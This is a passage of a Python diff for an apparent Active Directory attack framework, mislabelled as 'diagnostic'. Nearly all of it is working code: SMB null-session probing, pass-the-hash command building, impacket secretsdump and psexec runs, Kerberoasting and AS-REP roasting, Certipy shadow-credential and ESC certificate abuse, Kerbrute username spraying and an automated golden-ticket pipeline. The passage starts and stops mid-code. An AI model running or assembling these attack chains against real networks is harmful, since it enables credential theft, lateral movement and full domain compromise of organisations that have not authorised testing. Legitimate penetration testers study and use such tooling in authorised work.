host in hosts + if is_usable_host(host) + }, + key=lambda value: int( + ipaddress.ip_address(value) + ), + ) + + +# ============================================================================ +# SMB PENTESTING & SHARE ENUMERATION SUBSYSTEM +# ============================================================================ + +def enumerate_smb_shares( + ip: str, + timeout: float = 5.0, +) -> dict[str, Any]: + """Enumerate SMB shares on a target using null session.""" + print(f"[VERBOSE] [enumerate_smb_shares] Enumerating SMB shares on {ip}...", file=sys.stderr, flush=True) + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + result = s.connect_ex((ip, 445)) + s.close() + + if result == 0: + print(f"[VERBOSE] [enumerate_smb_shares] SMB port 445 is open on {ip}", file=sys.stderr, flush=True) + return { + "ip": ip, + "smb_open": True, + "port_445_open": True, + "status": "smb-accessible", + } + else: + print(f"[VERBOSE] [enumerate_smb_shares] SMB port 445 is closed on {ip}", file=sys.stderr, flush=True) + return { + "ip": ip, + "smb_open": False, + "port_445_open": False, + "status": "smb-closed", + } + except Exception as exc: + print(f"[VERBOSE] [enumerate_smb_shares] SMB share enumeration failed for {ip}: {exc}", file=sys.stderr, flush=True) + return { + "ip": ip, + "smb_open": False, + "status": "error", + "error": str(exc), + } + + +def check_smb_null_session( + ip: str, + timeout: float = 5.0, +) -> dict[str, Any]: + """Check if target allows null SMB sessions (no credentials required).""" + print(f"[VERBOSE] [check_smb_null_session] Checking for null SMB session on {ip}...", file=sys.stderr, flush=True) + + cmd = [ + "smbclient", + f"//{ip}/IPC$", + "-U", "%", + "-c", "quit", + ] + + try: + process = subprocess.run( + cmd, + stdin=subprocess.DEVNULL, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding="utf-8", + errors="replace", + timeout=timeout, + check=False, + shell=False, + ) + + null_session = process.returncode == 0 + print( + f"[VERBOSE] [check_smb_null_session] {ip} null session: {null_session}", + file=sys.stderr, + flush=True, + ) + + return { + "ip": ip, + "null_session_allowed": null_session, + "status": "null-session-allowed" if null_session else "null-session-denied", + "return_code": process.returncode, + } + except subprocess.TimeoutExpired: + print(f"[VERBOSE] [check_smb_null_session] Null session check timed out on {ip}", file=sys.stderr, flush=True) + return { + "ip": ip, + "null_session_allowed": False, + "status": "timeout", + } + except FileNotFoundError: + print(f"[VERBOSE] [check_smb_null_session] smbclient not found", file=sys.stderr, flush=True) + return { + "ip": ip, + "null_session_allowed": False, + "status": "smbclient-not-found", + } + except Exception as exc: + print(f"[VERBOSE] [check_smb_null_session] Null session check failed for {ip}: {exc}", file=sys.stderr, flush=True) + return { + "ip": ip, + "null_session_allowed": False, + "status": "error", + "error": str(exc), + } + + +def detect_smb_signing( + ip: str, + timeout: float = 5.0, +) -> dict[str, Any]: + """Detect if SMB signing is enforced on the target.""" + print(f"[VERBOSE] [detect_smb_signing] Checking SMB signing enforcement on {ip}...", file=sys.stderr, flush=True) + + nmap_exe = shutil.which("nmap") + if not nmap_exe: + print(f"[VERBOSE] [detect_smb_signing] Nmap not available, skipping SMB signing check", file=sys.stderr, flush=True) + return { + "ip": ip, + "status": "nmap-not-found", + } + + try: + cmd = [ + nmap_exe, + "-p", "445", + "--script", "smb-security-mode", + "-Pn", + ip, + ] + + process = subprocess.run( + cmd, + stdin=subprocess.DEVNULL, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding="utf-8", + errors="replace", + timeout=timeout, + check=False, + shell=False, + ) + + signing_enforced = False + if "require" in process.stdout.lower(): + signing_enforced = True + + print( + f"[VERBOSE] [detect_smb_signing] {ip} SMB signing enforced: {signing_enforced}", + file=sys.stderr, + flush=True, + ) + + return { + "ip": ip, + "smb_signing_enforced": signing_enforced, + "status": "detected" if signing_enforced else "not-enforced", + "output": process.stdout[:500], + } + except Exception as exc: + print(f"[VERBOSE] [detect_smb_signing] SMB signing detection failed for {ip}: {exc}", file=sys.stderr, flush=True) + return { + "ip": ip, + "status": "error", + "error": str(exc), + } + + +# ============================================================================ +# DIAGNOSTIC TOOL COMMAND BUILDER & EXECUTION SUBSYSTEM +# ============================================================================ + +_EMPTY_LM_HASH = "aad3b435b51404eeaad3b435b51404ee" + + +def build_ad_command( + tool: str, + host: str, + domain: str | None = None, + dc_ip: str | None = None, + dc_fqdn: str | None = None, + username: str = "", + nt_hash: str = "", + lm_hash: str = "", +) -> list[str]: + """ + Build the subprocess command for an AD tool. + + Pass-the-hash (PTH) is enabled by supplying nt_hash (and optionally lm_hash). + Each tool family uses its own flag convention: + - impacket CLI tools: -hashes : (secretsdump, psexec, wmiexec, …) + - crackmapexec / netexec: --hash + - smbmap: --pw-nt-hash -p + - smbclient: --pw-nt-hash -U % + - bloodhound-python: --hashes : + - certipy: -hashes : + - ldapdomaindump: -u \\ -p : + """ + print(f"[VERBOSE] [build_ad_command] Assembling command line arguments for tool: '{tool}' targeting '{host}' (domain={domain}, dc_ip={dc_ip}, dc_fqdn={dc_fqdn}, pth={'yes' if nt_hash else 'no'})", file=sys.stderr, flush=True) + + # Normalise: if nt_hash supplied without lm_hash use the empty-LM constant + if nt_hash and not lm_hash: + lm_hash = _EMPTY_LM_HASH + _hashes_arg = f"{lm_hash}:{nt_hash}" if nt_hash else "" + _user = username or "Administrator" + + executable = find_executable(tool) + + if not executable: + raise FileNotFoundError( + f"{tool} not installed" + ) + + if tool == "nmap_scan": + return [ + executable, + "-Pn", + "-n", + "-sV", + "-sC", + "--script=ldap-rootdse,smb-os-discovery,smb-enum-shares,smb-enum-users", + "-T3", + "-v", + "-p", "53,88,135,139,389,445,464,636,3268,3269,5985,5986,9389", + host, + ] + + if tool == "masscan_scan": + return [ + executable, + host, + "-p", "53,88,135,139,389,445,464,636,3268,3269,5985,5986,9389", + "--rate", + "100", + ] + + if tool == "enum4linux_ng": + executable_path = Path(executable) + is_win = platform.system() == "Windows" + venv_python = ENUM4LINUX_NG_DIR / ".venv" / ("Scripts" if is_win else "bin") / ("python.exe" if is_win else "python") + python_interpreter = str(venv_python.resolve()) if venv_python.is_file() else sys.executable + + if executable_path.suffix.lower() == ".py": + return [ + python_interpreter, + str(executable_path), + "-A", + host, + ] + + return [ + executable, + "-A", + host, + ] + + if tool == "rpcdump_scan": + return [ + executable, + host, + ] + + if tool == "smbclient_enum": + if nt_hash: + # smbclient PTH: --pw-nt-hash -U domain/user%NThash + user_str = f"{domain}/{_user}%{nt_hash}" if domain else f"{_user}%{nt_hash}" + cmd = [executable, "-L", f"//{host}", "--pw-nt-hash", "-U", user_str] + else: + cmd = [executable, "-L", f"//{host}", "-N"] + return cmd + + if tool == "bloodhound_python": + dc_target = dc_fqdn or host + cmd = [ + executable, + "-c", "All", + "--dns-tcp", + "-ns", dc_ip or host, + ] + if domain: + cmd.extend(["-d", domain, "-dc", dc_target]) + else: + cmd.extend(["-d", host]) + if nt_hash: + cmd.extend(["-u", _user, "--hashes", _hashes_arg]) + else: + cmd.extend(["-u", "", "-p", ""]) + print(f"[VERBOSE] [build_ad_command] BloodHound DC target: {dc_target} (pth={'yes' if nt_hash else 'no'})", file=sys.stderr, flush=True) + return cmd + + if tool == "certipy_find": + dc_target = dc_fqdn or host + cmd = [executable, "find", "-target", dc_target, "-vulnerable"] + if domain: + cmd.extend(["-dc-ip", dc_ip or host]) + if nt_hash: + cmd.extend(["-u", f"{_user}@{domain or host}", "-hashes", _hashes_arg]) + print(f"[VERBOSE] [build_ad_command] Certipy target: {dc_target} (pth={'yes' if nt_hash else 'no'})", file=sys.stderr, flush=True) + return cmd + + if tool == "ldapdomaindump": + dc_target = dc_fqdn or host + cmd = [executable, dc_target] + if nt_hash: + user_str = f"{domain}\\{_user}" if domain else _user + cmd.extend(["-u", user_str, "-p", _hashes_arg]) + print(f"[VERBOSE] [build_ad_command] ldapdomaindump target: {dc_target} (pth={'yes' if nt_hash else 'no'})", file=sys.stderr, flush=True) + return cmd + + if tool == "kerbrute_userenum": + dc_target = dc_fqdn or host + cmd = [ + executable, + "userenum", + "--dc", dc_target, + ] + if domain: + cmd.extend(["-d", domain]) + else: + cmd.extend(["-d", host]) + + wordlist_candidates = [] + if platform.system() == "Windows": + home = Path.home() + wordlist_candidates = [ + home / "SecLists" / "Usernames" / "Names" / "names.txt", + home / "Downloads" / "names.txt", + Path("C:\\SecLists\\Usernames\\Names\\names.txt"), + ] + else: + wordlist_candidates = [ + Path("/usr/share/wordlists/seclists/Usernames/Names/names.txt"), + Path("/usr/share/seclists/Usernames/Names/names.txt"), + ] + + wordlist_found = None + for wordlist in wordlist_candidates: + if wordlist.is_file(): + wordlist_found = wordlist + break + + if wordlist_found: + cmd.append(str(wordlist_found)) + else: + # Write a minimal built-in username list so kerbrute can run without SecLists + _builtin_wl = Path("/tmp/adpentest_kerbrute_users.txt") + if not _builtin_wl.exists(): + _builtin_wl.write_text( + "\n".join([ + "administrator", "admin", "user", "guest", "test", + "service", "backup", "support", "helpdesk", "svc", + "svc_admin", "svc_backup", "svc_sql", "svc_web", + "krbtgt", "ldap", "readonly", "operator", + ]) + ) + cmd.append(str(_builtin_wl)) + print(f"[VERBOSE] [build_ad_command] Kerbrute: no SecLists wordlist found - using built-in minimal list", file=sys.stderr, flush=True) + + print(f"[VERBOSE] [build_ad_command] Kerbrute DC target: {dc_target} (FQDN={'yes' if dc_fqdn else 'no'})", file=sys.stderr, flush=True) + return cmd + + if tool == "crackmapexec": + # netexec is the maintained fork; try it first, fall back to crackmapexec binary + _cme = executable + cmd = [_cme, "smb", host] + if domain and domain != host: + cmd.extend(["-d", domain]) + if nt_hash: + cmd.extend(["-u", _user, "--hash", nt_hash]) + else: + cmd.extend(["-u", "", "-p", ""]) + cmd.append("--shares") + print(f"[VERBOSE] [build_ad_command] CrackMapExec SMB target: {host} (pth={'yes' if nt_hash else 'no'})", file=sys.stderr, flush=True) + return cmd + + if tool == "smbmap": + cmd = [executable, "-H", host] + if domain and domain != host: + cmd.extend(["-d", domain]) + if nt_hash: + # smbmap PTH: -u user --pw-nt-hash -p NThash + cmd.extend(["-u", _user, "--pw-nt-hash", "-p", nt_hash]) + else: + cmd.extend(["-u", "", "-p", ""]) + print(f"[VERBOSE] [build_ad_command] SMBMap target: {host} (pth={'yes' if nt_hash else 'no'})", file=sys.stderr, flush=True) + return cmd + + if tool == "impacket_secretsdump": + _impacket_user = _user if nt_hash else "guest" + target_str = f"{domain}/{_impacket_user}@{host}" if domain else f"{_impacket_user}@{host}" + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [python_exe, "-m", "impacket.examples.secretsdump"] + if nt_hash: + cmd.extend(["-hashes", _hashes_arg]) + else: + cmd.append("-no-pass") + cmd.append(target_str) + print(f"[VERBOSE] [build_ad_command] Impacket secretsdump: {target_str} (pth={'yes' if nt_hash else 'no'})", file=sys.stderr, flush=True) + return cmd + + if tool == "impacket_psexec": + _impacket_user = _user if nt_hash else "guest" + target_str = f"{domain}/{_impacket_user}@{host}" if domain else f"{_impacket_user}@{host}" + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [python_exe, "-m", "impacket.examples.psexec"] + if nt_hash: + cmd.extend(["-hashes", _hashes_arg]) + else: + cmd.append("-no-pass") + cmd.extend([target_str, "whoami"]) + print(f"[VERBOSE] [build_ad_command] Impacket psexec: {target_str} (pth={'yes' if nt_hash else 'no'})", file=sys.stderr, flush=True) + return cmd + + if tool == "powershell_ldap_enum": + dc_target = dc_fqdn or host + ps_script = ( + f'[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices") | Out-Null; ' + f'$rootEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://{dc_target}/RootDSE"); ' + f'$rootEntry.Properties | ForEach-Object {{ Write-Host "$($_.Name): $($_.Value)" }}' + ) + cmd = [ + executable, + "-NoProfile", + "-Command", + ps_script, + ] + print(f"[VERBOSE] [build_ad_command] PowerShell LDAP enum target: {dc_target}", file=sys.stderr, flush=True) + return cmd + + if tool == "powershell_smb_enum": + ps_script = ( + f'Get-SmbShare -CimSession {host} 2>$null | ' + f'Select-Object Name, Path, Description, ShareType | Format-Table -AutoSize; ' + f'Get-SmbConnection -CimSession {host} 2>$null | ' + f'Select-Object ServerName, UserName, Dialect | Format-Table -AutoSize' + ) + cmd = [ + executable, + "-NoProfile", + "-Command", + ps_script, + ] + print(f"[VERBOSE] [build_ad_command] PowerShell SMB enum target: {host}", file=sys.stderr, flush=True) + return cmd + + if tool == "powershell_ad_recon": + domain_target = domain or host + ps_script = ( + f'[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.ActiveDirectory") | Out-Null; ' + f'try {{ ' + f'$forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest(); ' + f'Write-Host "Forest: $($forest.Name)"; ' + f'$forest.GlobalCatalogs | ForEach-Object {{ Write-Host "Global Catalog: $($_.Name)" }}; ' + f'$forest.Domains | ForEach-Object {{ ' + f'Write-Host "Domain: $($_.Name)"; ' + f'$_.DomainControllers | ForEach-Object {{ Write-Host " DC: $($_.Name)" }} ' + f'}} ' + f'}} catch {{ ' + f'Write-Host "Could not access forest information. Attempting domain query..."; ' + f'$ctx = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain", "{domain_target}"); ' + f'$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($ctx); ' + f'$domain.DomainControllers | ForEach-Object {{ Write-Host "DC: $($_.Name)" }} ' + f'}}' + ) + cmd = [ + executable, + "-NoProfile", + "-Command", + ps_script, + ] + print(f"[VERBOSE] [build_ad_command] PowerShell AD recon target: {domain_target}", file=sys.stderr, flush=True) + return cmd + + if tool == "enum_windows_py": + # Run inline via -c to avoid CLI arg issues; enumerate SMB/LDAP directly + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + domain_arg = domain or "" + cmd = [ + python_exe, + "-c", + ( + f"from adpentest.core import WindowsEnumerate; " + f"import json, sys; " + f"e = WindowsEnumerate('{host}', domain='{domain_arg}' or None); " + f"results = {{}}; " + f"results['ldap'] = e.enum_ldap() or {{}}; " + f"results['smb'] = e.enum_smb() or {{}}; " + f"print(json.dumps(results))" + ), + ] + print(f"[VERBOSE] [build_ad_command] Windows enumeration target: {host}", file=sys.stderr, flush=True) + return cmd + + if tool == "GetUserSPNs": + dc_target = dc_fqdn or host + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + + # Use custom SPNEnumerator instead of impacket.examples.GetUserSPNs + spn_script = ( + f"from adpentest.core import SPNEnumerator; " + f"enum = SPNEnumerator('{dc_target}', domain='{domain or ''}'); " + f"spns = enum.enumerate(); " + f"enum.save_to_file('{host}_spns.txt'); " + f"print(f'[+] Enumerated {{len(spns)}} SPNs')" + ) + cmd = [ + python_exe, + "-c", + spn_script, + ] + + print(f"[VERBOSE] [build_ad_command] GetUserSPNs target: {dc_target} (Custom LDAP-based SPN enumeration)", file=sys.stderr, flush=True) + return cmd + + if tool == "AS_REP_roast": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + + cmd = [ + python_exe, + "-m", + "impacket.examples.GetNPUsers", + "-no-pass", + "-outputfile", + f"{host}_asrep.txt", + ] + + if domain: + cmd.extend([f"{domain}/" if not host.startswith(domain) else ""]) + cmd.append(host if "@" in host else f"guest@{host}") + + print(f"[VERBOSE] [build_ad_command] AS-REP Roasting target: {host} (DONT_REQUIRE_PREAUTH accounts)", file=sys.stderr, flush=True) + return cmd + + if tool == "kerberoast": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + dc_target = dc_fqdn or host + + cmd = [ + python_exe, + "-m", + "impacket.examples.GetUserSPNs", + "-request", + "-no-pass", + "-outputfile", + f"{host}_kerberoast.txt", + "-k", + "-dc-ip", dc_target, + ] + + if domain: + cmd.extend([f"{domain}/" if not host.startswith(domain) else ""]) + cmd.append(host if "@" in host else f"guest@{host}") + + print(f"[VERBOSE] [build_ad_command] Kerberoasting target: {dc_target} (service ticket extraction)", file=sys.stderr, flush=True) + return cmd + + if tool == "certipy_shadow": + dc_target = dc_fqdn or host + _shadow_user = username or "Administrator" + cmd = [ + executable, + "shadow", + "auto", + "-u", _shadow_user, + "-p", "", + "-target", dc_target, + "-account", _shadow_user, + ] + if domain: + cmd.extend(["-dc-ip", dc_ip or host]) + print(f"[VERBOSE] [build_ad_command] Certipy shadow (ADCS shadow credential attack) target: {dc_target}", file=sys.stderr, flush=True) + return cmd + + if tool == "certipy_esc1": + dc_target = dc_fqdn or host + cmd = [ + executable, + "req", + "-username", "guest", + "-password", "", + "-ca", f"{host}\\{domain}" if domain else host, + "-template", "User", + "-target", dc_target, + ] + if domain: + cmd.extend(["-domain", domain]) + print(f"[VERBOSE] [build_ad_command] Certipy ESC1 (template misconfig - client auth) target: {dc_target}", file=sys.stderr, flush=True) + return cmd + + if tool == "certipy_esc3": + dc_target = dc_fqdn or host + cmd = [ + executable, + "req", + "-username", "guest", + "-password", "", + "-ca", f"{host}\\{domain}" if domain else host, + "-template", "User", + "-upn", f"admin@{domain or host}", + "-target", dc_target, + ] + if domain: + cmd.extend(["-domain", domain]) + print(f"[VERBOSE] [build_ad_command] Certipy ESC3 (enrollment agent misconfig) target: {dc_target}", file=sys.stderr, flush=True) + return cmd + + if tool == "certipy_esc9": + dc_target = dc_fqdn or host + _esc9_user = username or "Administrator" + cmd = [ + executable, + "shadow", + "auto", + "-u", _esc9_user, + "-p", "", + "-target", dc_target, + "-account", _esc9_user, + ] + if domain: + cmd.extend(["-domain", domain]) + print(f"[VERBOSE] [build_ad_command] Certipy ESC9 (object control abuse via ADCS) target: {dc_target}", file=sys.stderr, flush=True) + return cmd + + # Email protocol enumeration tools (pure Python, no external binaries) + if tool == "smtp_enum": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [ + python_exe, + "-c", + f"from adpentest.core import smtp_connect_test, smtp_vrfy_enum; " + f"success, banner = smtp_connect_test('{host}', 25); " + f"print(f'SMTP: {{success}}, Banner: {{banner}}')" + ] + print(f"[VERBOSE] [build_ad_command] SMTP enumeration target: {host}", file=sys.stderr, flush=True) + return cmd + + if tool == "smtp_auth_test": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [ + python_exe, + "-c", + f"from adpentest.core import smtp_auth_test; " + f"result = smtp_auth_test('{host}', 'test', 'test', port=587); " + f"print(f'SMTP Auth Test: {{result}}')" + ] + print(f"[VERBOSE] [build_ad_command] SMTP auth testing target: {host}", file=sys.stderr, flush=True) + return cmd + + if tool == "pop3_auth_test": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [ + python_exe, + "-c", + f"from adpentest.core import pop3_auth_test; " + f"result = pop3_auth_test('{host}', 'test', 'test', port=110); " + f"print(f'POP3 Auth Test: {{result}}')" + ] + print(f"[VERBOSE] [build_ad_command] POP3 auth testing target: {host}", file=sys.stderr, flush=True) + return cmd + + if tool == "imap_auth_test": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [ + python_exe, + "-c", + f"from adpentest.core import imap_auth_test; " + f"result = imap_auth_test('{host}', 'test', 'test', port=143); " + f"print(f'IMAP Auth Test: {{result}}')" + ] + print(f"[VERBOSE] [build_ad_command] IMAP auth testing target: {host}", file=sys.stderr, flush=True) + return cmd + + if tool == "email_server_discovery": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + _host = host # capture for f-string + cmd = [ + python_exe, + "-c", + f"from adpentest.core import smtp_connect_test; " + f"target = '{_host}'; " + f"success, banner = smtp_connect_test(target); " + f"print(f'Email Server: {{target}}, SMTP Responsive: {{success}}, Banner: {{banner}}')" + ] + print(f"[VERBOSE] [build_ad_command] Email server discovery target: {_host}", file=sys.stderr, flush=True) + return cmd + + if tool == "cve_2026_59270_spring_ldap": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [ + python_exe, + "-c", + ( + f"from adpentest.core import scan_cve_2026_59270; " + f"import json; " + f"r = scan_cve_2026_59270('{host}'); " + f"print(json.dumps(r, indent=2))" + ), + ] + print(f"[VERBOSE] [build_ad_command] CVE-2026-59270 Spring LDAP scan target: {host}", file=sys.stderr, flush=True) + return cmd + + if tool == "cve_2026_54121_certighost": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [ + python_exe, "-c", + f"from adpentest.core import scan_cve_2026_54121; import json; r = scan_cve_2026_54121('{host}'); print(json.dumps(r, indent=2))", + ] + print(f"[VERBOSE] [build_ad_command] CVE-2026-54121 Certighost scan target: {host}", file=sys.stderr, flush=True) + return cmd + + if tool == "cve_2025_54918_ntlm_ldap_bypass": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [ + python_exe, "-c", + f"from adpentest.core import scan_cve_2025_54918; import json; r = scan_cve_2025_54918('{host}'); print(json.dumps(r, indent=2))", + ] + print(f"[VERBOSE] [build_ad_command] CVE-2025-54918 NTLM LDAP bypass scan target: {host}", file=sys.stderr, flush=True) + return cmd + + if tool == "cve_2026_33826_ad_rce": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [ + python_exe, "-c", + f"from adpentest.core import scan_cve_2026_33826; import json; r = scan_cve_2026_33826('{host}'); print(json.dumps(r, indent=2))", + ] + print(f"[VERBOSE] [build_ad_command] CVE-2026-33826 AD RPC RCE scan target: {host}", file=sys.stderr, flush=True) + return cmd + + if tool == "cve_2026_27912_resetnightmare": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [ + python_exe, "-c", + f"from adpentest.core import scan_cve_2026_27912; import json; r = scan_cve_2026_27912('{host}'); print(json.dumps(r, indent=2))", + ] + print(f"[VERBOSE] [build_ad_command] CVE-2026-27912 ResetNightmare scan target: {host}", file=sys.stderr, flush=True) + return cmd + + if tool == "cve_2026_24294_ntlm_reflection": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [ + python_exe, "-c", + f"from adpentest.core import scan_cve_2026_24294; import json; r = scan_cve_2026_24294('{host}'); print(json.dumps(r, indent=2))", + ] + print(f"[VERBOSE] [build_ad_command] CVE-2026-24294 NTLM reflection scan target: {host}", file=sys.stderr, flush=True) + return cmd + + if tool == "cve_2026_20833_kerberos_rc4": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [ + python_exe, "-c", + f"from adpentest.core import scan_cve_2026_20833; import json; r = scan_cve_2026_20833('{host}'); print(json.dumps(r, indent=2))", + ] + print(f"[VERBOSE] [build_ad_command] CVE-2026-20833 Kerberos RC4 scan target: {host}", file=sys.stderr, flush=True) + return cmd + + if tool == "cve_2025_33073_smb_ntlm_reflection": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [ + python_exe, "-c", + f"from adpentest.core import scan_cve_2025_33073; import json; r = scan_cve_2025_33073('{host}'); print(json.dumps(r, indent=2))", + ] + return cmd + + if tool == "cve_2025_29810_ad_privesc": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [ + python_exe, "-c", + f"from adpentest.core import scan_cve_2025_29810; import json; r = scan_cve_2025_29810('{host}'); print(json.dumps(r, indent=2))", + ] + return cmd + + if tool == "cve_2025_58726_ghost_spn": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [ + python_exe, "-c", + f"from adpentest.core import scan_cve_2025_58726; import json; r = scan_cve_2025_58726('{host}'); print(json.dumps(r, indent=2))", + ] + return cmd + + if tool == "cve_2026_25177_unicode_spn": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [ + python_exe, "-c", + f"from adpentest.core import scan_cve_2026_25177; import json; r = scan_cve_2026_25177('{host}'); print(json.dumps(r, indent=2))", + ] + return cmd + + if tool == "cve_2025_24054_ntlm_hash_leak": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [ + python_exe, "-c", + f"from adpentest.core import scan_cve_2025_24054; import json; r = scan_cve_2025_24054('{host}'); print(json.dumps(r, indent=2))", + ] + return cmd + + if tool == "cve_2026_20929_kerberos_dns_relay": + python_exe = shutil.which("python3") or shutil.which("python") or sys.executable + cmd = [ + python_exe, "-c", + f"from adpentest.core import scan_cve_2026_20929; import json; r = scan_cve_2026_20929('{host}'); print(json.dumps(r, indent=2))", + ] + return cmd + + raise ValueError( + f"unsupported AD tool: {tool}" + ) + + +def execute_ad_tool( + tool: str, + host: str, + mode: str, + timeout: int, + domain: str | None = None, + dc_ip: str | None = None, + dc_fqdn: str | None = None, + username: str = "", + nt_hash: str = "", + lm_hash: str = "", + **kwargs: Any, +) -> dict[str, Any]: + """ + Execute an AD diagnostic tool against host. + + Pass-the-hash: supply nt_hash (32-char hex NT hash). lm_hash defaults to + the empty-LM constant when omitted. username defaults to "Administrator". + Both kwargs (ad_nt_hash, ad_username) and direct params are accepted so + callers using the old **kwargs pattern continue to work. + """ + # Accept legacy ad_* kwarg names for backwards compatibility + nt_hash = nt_hash or kwargs.get("ad_nt_hash", "") + lm_hash = lm_hash or kwargs.get("ad_lm_hash", "") + username = username or kwargs.get("ad_username", "") + + print(f"[VERBOSE] [execute_ad_tool] Executing diagnostic tool '{tool}' on endpoint '{host}' [Mode: {mode}, Domain: {domain}, DC: {dc_ip}, pth={'yes' if nt_hash else 'no'}]", file=sys.stderr, flush=True) + GLOBAL_PROFILER.tools_executed_count += 1 + result = { + "tool": tool, + "target": host, + "mode": mode, + "domain": domain, + "dc_fqdn": dc_fqdn, + "status": None, + "stdout": "", + "stderr": "", + "exit_code": None, + } + + # auto_privesc: automated privilege escalation enumeration (6 techniques) + if tool == "auto_privesc": + if mode == "dry-run": + result["status"] = "ready" + result["command_preview"] = ["auto_privesc", f"dc_ip={dc_ip or host}", f"domain={domain}"] + return result + if not domain: + result["status"] = "failed" + result["stderr"] = "auto_privesc requires domain" + return result + ap_result = auto_privesc( + dc_ip=dc_ip or host, + domain=domain, + username=username, + nt_hash=nt_hash, + lm_hash=lm_hash, + timeout=timeout, + ) + result["status"] = "completed" if ap_result.get("success") else "failed" + result["stdout"] = json.dumps(ap_result, indent=2) + result["exit_code"] = 0 if ap_result.get("success") else 1 + return result + + # ntlm_null_session: null/guest session hash and user enumeration + if tool == "ntlm_null_session": + if mode == "dry-run": + result["status"] = "ready" + result["command_preview"] = ["ntlm_null_session_dump", f"dc_ip={dc_ip or host}", f"domain={domain}"] + return result + ns_result = ntlm_null_session_dump(dc_ip=dc_ip or host, domain=domain or "", timeout=timeout) + result["status"] = "completed" if ns_result.get("success") else "failed" + result["stdout"] = json.dumps(ns_result, indent=2) + result["exit_code"] = 0 if ns_result.get("success") else 1 + return result + + # auto_krb_golden: pure-Python pipeline, no subprocess required + if tool == "auto_krb_golden": + if mode == "dry-run": + result["status"] = "ready" + result["command_preview"] = [ + "auto_obtain_golden_ticket", + f"dc_ip={dc_ip or host}", + f"domain={domain}", + ] + print(f"[VERBOSE] [execute_ad_tool] Dry-run: auto_krb_golden pipeline would target DC {dc_ip or host}", file=sys.stderr, flush=True) + return result + gt_result = auto_obtain_golden_ticket( + dc_ip=dc_ip or host, + domain=domain, + timeout=timeout, + ad_username=kwargs.get("ad_username", ""), + ad_password=kwargs.get("ad_password", ""), + ad_nt_hash=kwargs.get("ad_nt_hash", ""), + ) + result["status"] = "completed" if gt_result.get("success") else "failed" + result["stdout"] = json.dumps(gt_result, indent=2) + result["exit_code"] = 0 if gt_result.get("success") else 1 + return result + + if mode == "dry-run": + executable = find_executable(tool) + result["status"] = ( + "ready" + if executable + else "not-installed" + ) + result["executable"] = executable + try: + result["command_preview"] = build_ad_command( + tool, host, domain=domain, dc_ip=dc_ip, dc_fqdn=dc_fqdn, + username=username, nt_hash=nt_hash, lm_hash=lm_hash, + ) + except (FileNotFoundError, ValueError): + pass + print(f"[VERBOSE] [execute_ad_tool] Dry-run execution check completed for {tool}: {result['status']}", file=sys.stderr, flush=True) + return result + + try: + command = build_ad_command( + tool, + host, + domain=domain, + dc_ip=dc_ip, + dc_fqdn=dc_fqdn, + username=username, + nt_hash=nt_hash, + lm_hash=lm_hash, + ) + + process = subprocess.Popen( + command, + stdin=subprocess.DEVNULL, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding="utf-8", + errors="replace", + shell=False, + ) + + stdout_lines = [] + stderr_lines = [] + start_time = time.time() + + while True: + retcode = process.poll() + if retcode is not None: + out, err = process.communicate() + if out: + stdout_lines.append(out) + if err: + stderr_lines.append(err) + break + + if time.time() - start_time > timeout: + process.kill() + raise subprocess.TimeoutExpired(command, timeout) + + try: + time.sleep(0.1) + except KeyboardInterrupt: + process.terminate() + process.wait() + raise + + full_stdout = "".join(stdout_lines) + full_stderr = "".join(stderr_lines) + + result["stdout"] = full_stdout + result["stderr"] = full_stderr + result["exit_code"] = retcode + result["status"] = ( + "completed" + if retcode == 0 + else "failed" + ) + print(f"[VERBOSE] [execute_ad_tool] Tool subprocess finished. Status: {result['status']}, Return Code: {retcode}", file=sys.stderr, flush=True) + return result + + except subprocess.TimeoutExpired: + GLOBAL_PROFILER.record_error(f"Execution timed out for tool {tool} against host {host}") + result["status"] = "timeout" + return result + + except KeyboardInterrupt: + print(f"[VERBOSE] [execute_ad_tool] Tool execution interrupted manually by user.", file=sys.stderr, flush=True) + raise + + except OSError as exc: + GLOBAL_PROFILER.record_error(f"Execution system OSError for tool {tool}: {exc}") + result["status"] = "execution-error" + result["stderr"] = str(exc) + return result + + +# ============================================================================ +# COMPLETE COMPREHENSIVE ASSESSMENT PIPELINE ORCHESTRATOR +# ============================================================================ + +def parallel_pentest_attempt( + live_hosts: list[str], + technique: str = "smb-null-session", + timeout: int = 10, + workers: int = 32, +) -> dict[str, Any]: + """ + Execute parallel penetration attempts on all alive IPs using the same technique. + + Techniques: + - smb-null-session: Attempt SMB null session access + - ldap-anonymous: Attempt LDAP anonymous bind + - rpc-probe: Probe 